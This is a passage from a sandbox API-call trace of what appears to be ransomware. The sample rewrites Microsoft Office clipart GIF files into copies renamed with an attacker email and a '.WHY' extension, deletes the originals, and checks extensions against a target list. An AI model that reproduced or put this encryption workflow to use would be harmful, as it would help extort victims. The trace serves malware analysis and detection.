dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0233.337] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.337] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0233.342] GetLastError () returned 0x0 [0233.342] ReadFile (in: hFile=0x380, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x1e06, lpOverlapped=0x0) returned 1 [0233.359] WriteFile (in: hFile=0x388, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0x1e10, lpOverlapped=0x0) returned 1 [0233.363] ReadFile (in: hFile=0x380, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0233.363] WriteFile (in: hFile=0x388, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0233.363] SetEndOfFile (hFile=0x388) returned 1 [0233.365] CloseHandle (hObject=0x388) returned 1 [0233.368] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.369] SetEndOfFile (hFile=0x380) returned 1 [0233.786] CloseHandle (hObject=0x380) returned 1 [0233.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0233.882] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 1 [0233.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0233.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0233.882] lstrlenW (lpString=".doc") returned 4 [0233.882] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0233.883] lstrlenW (lpString=".docx") returned 5 [0233.883] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0233.883] lstrlenW (lpString=".pdf") returned 4 [0233.883] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0233.883] lstrlenW (lpString=".xls") returned 4 [0233.883] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0233.883] lstrlenW (lpString=".xlsx") returned 5 [0233.883] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0233.883] lstrlenW (lpString=".ppt") returned 4 [0233.883] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0233.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0233.883] lstrlenW (lpString=".zip") returned 4 [0233.884] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0233.884] lstrlenW (lpString=".rar") returned 4 [0233.884] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0233.884] lstrlenW (lpString=".bz2") returned 4 [0233.884] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0233.884] lstrlenW (lpString=".7z") returned 3 [0233.884] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0233.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0233.884] lstrlenW (lpString=".dbf") returned 4 [0233.884] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0233.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0233.884] lstrlenW (lpString=".1cd") returned 4 [0233.885] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0233.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0233.885] lstrlenW (lpString=".jpg") returned 4 [0233.885] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0233.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0233.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0233.886] lstrlenW (lpString=".doc") returned 4 [0233.886] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0233.886] lstrlenW (lpString=".docx") returned 5 [0233.886] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0233.886] lstrlenW (lpString=".pdf") returned 4 [0233.886] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0233.886] lstrlenW (lpString=".xls") returned 4 [0233.886] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0233.886] lstrlenW (lpString=".xlsx") returned 5 [0233.886] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0233.886] lstrlenW (lpString=".ppt") returned 4 [0233.886] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0233.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0233.887] lstrlenW (lpString=".zip") returned 4 [0233.887] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0233.887] lstrlenW (lpString=".rar") returned 4 [0233.887] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0233.887] lstrlenW (lpString=".bz2") returned 4 [0233.887] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0233.887] lstrlenW (lpString=".7z") returned 3 [0233.887] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0233.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0233.887] lstrlenW (lpString=".dbf") returned 4 [0233.887] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0233.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0233.888] lstrlenW (lpString=".1cd") returned 4 [0233.888] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0233.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0233.888] lstrlenW (lpString=".jpg") returned 4 [0233.888] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0233.982] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0233.982] lstrlenW (lpString="AG00120_.GIF") returned 12 [0233.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0234.029] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=3484) returned 1 [0234.030] CloseHandle (hObject=0x354) returned 1 [0234.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 0x20 [0234.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0234.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0234.031] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.031] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0234.199] GetLastError () returned 0x0 [0234.199] ReadFile (in: hFile=0x354, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0xd9c, lpOverlapped=0x0) returned 1 [0234.258] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xda0, lpOverlapped=0x0) returned 1 [0234.262] ReadFile (in: hFile=0x354, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0234.262] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0234.262] SetEndOfFile (hFile=0x380) returned 1 [0234.263] CloseHandle (hObject=0x380) returned 1 [0234.264] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.264] SetEndOfFile (hFile=0x354) returned 1 [0234.271] CloseHandle (hObject=0x354) returned 1 [0234.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0234.272] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 1 [0234.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0234.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0234.273] lstrlenW (lpString=".doc") returned 4 [0234.273] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0234.273] lstrlenW (lpString=".docx") returned 5 [0234.273] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0234.273] lstrlenW (lpString=".pdf") returned 4 [0234.273] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0234.273] lstrlenW (lpString=".xls") returned 4 [0234.273] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0234.273] lstrlenW (lpString=".xlsx") returned 5 [0234.273] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0234.273] lstrlenW (lpString=".ppt") returned 4 [0234.273] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0234.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0234.274] lstrlenW (lpString=".zip") returned 4 [0234.274] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0234.274] lstrlenW (lpString=".rar") returned 4 [0234.274] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0234.274] lstrlenW (lpString=".bz2") returned 4 [0234.274] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0234.274] lstrlenW (lpString=".7z") returned 3 [0234.274] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0234.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0234.274] lstrlenW (lpString=".dbf") returned 4 [0234.425] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0234.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0234.425] lstrlenW (lpString=".1cd") returned 4 [0234.425] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0234.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0234.425] lstrlenW (lpString=".jpg") returned 4 [0234.425] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0234.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0234.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0234.425] lstrlenW (lpString=".doc") returned 4 [0234.425] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0234.425] lstrlenW (lpString=".docx") returned 5 [0234.426] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0234.426] lstrlenW (lpString=".pdf") returned 4 [0234.426] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0234.426] lstrlenW (lpString=".xls") returned 4 [0234.426] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0234.426] lstrlenW (lpString=".xlsx") returned 5 [0234.426] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0234.426] lstrlenW (lpString=".ppt") returned 4 [0234.426] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0234.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0234.426] lstrlenW (lpString=".zip") returned 4 [0234.426] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0234.426] lstrlenW (lpString=".rar") returned 4 [0234.426] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0234.427] lstrlenW (lpString=".bz2") returned 4 [0234.427] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0234.427] lstrlenW (lpString=".7z") returned 3 [0234.427] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0234.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0234.427] lstrlenW (lpString=".dbf") returned 4 [0234.427] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0234.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0234.427] lstrlenW (lpString=".1cd") returned 4 [0234.427] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0234.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0234.427] lstrlenW (lpString=".jpg") returned 4 [0234.427] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0234.428] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0234.428] lstrlenW (lpString="AG00139_.GIF") returned 12 [0234.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0234.673] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=10607) returned 1 [0234.673] CloseHandle (hObject=0x390) returned 1 [0234.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 0x20 [0234.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0234.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0234.784] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.784] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0234.948] GetLastError () returned 0x0 [0234.948] ReadFile (in: hFile=0x380, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x296f, lpOverlapped=0x0) returned 1 [0234.953] WriteFile (in: hFile=0x398, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0x2970, lpOverlapped=0x0) returned 1 [0234.957] ReadFile (in: hFile=0x380, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0234.957] WriteFile (in: hFile=0x398, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0234.957] SetEndOfFile (hFile=0x398) returned 1 [0234.958] CloseHandle (hObject=0x398) returned 1 [0234.959] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.959] SetEndOfFile (hFile=0x380) returned 1 [0234.968] CloseHandle (hObject=0x380) returned 1 [0234.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0235.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 1 [0235.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0235.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0235.002] lstrlenW (lpString=".doc") returned 4 [0235.002] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0235.002] lstrlenW (lpString=".docx") returned 5 [0235.002] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0235.002] lstrlenW (lpString=".pdf") returned 4 [0235.002] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0235.002] lstrlenW (lpString=".xls") returned 4 [0235.002] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0235.003] lstrlenW (lpString=".xlsx") returned 5 [0235.003] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0235.003] lstrlenW (lpString=".ppt") returned 4 [0235.003] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0235.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0235.003] lstrlenW (lpString=".zip") returned 4 [0235.003] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0235.003] lstrlenW (lpString=".rar") returned 4 [0235.003] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0235.003] lstrlenW (lpString=".bz2") returned 4 [0235.003] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0235.003] lstrlenW (lpString=".7z") returned 3 [0235.003] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0235.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0235.004] lstrlenW (lpString=".dbf") returned 4 [0235.004] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0235.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0235.004] lstrlenW (lpString=".1cd") returned 4 [0235.004] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0235.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0235.004] lstrlenW (lpString=".jpg") returned 4 [0235.004] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0235.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0235.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0235.004] lstrlenW (lpString=".doc") returned 4 [0235.004] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0235.005] lstrlenW (lpString=".docx") returned 5 [0235.005] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0235.005] lstrlenW (lpString=".pdf") returned 4 [0235.005] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0235.005] lstrlenW (lpString=".xls") returned 4 [0235.005] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0235.005] lstrlenW (lpString=".xlsx") returned 5 [0235.005] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0235.005] lstrlenW (lpString=".ppt") returned 4 [0235.005] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0235.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0235.005] lstrlenW (lpString=".zip") returned 4 [0235.005] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0235.006] lstrlenW (lpString=".rar") returned 4 [0235.006] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0235.006] lstrlenW (lpString=".bz2") returned 4 [0235.006] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0235.006] lstrlenW (lpString=".7z") returned 3 [0235.006] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0235.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0235.006] lstrlenW (lpString=".dbf") returned 4 [0235.006] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0235.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0235.006] lstrlenW (lpString=".1cd") returned 4 [0235.006] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0235.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0235.006] lstrlenW (lpString=".jpg") returned 4 [0235.006] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0235.007] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0235.007] lstrlenW (lpString="AG00157_.GIF") returned 12 [0235.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0235.008] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=4955) returned 1 [0235.008] CloseHandle (hObject=0x354) returned 1 [0235.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 0x20 [0235.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0235.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0235.009] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0235.010] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0235.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 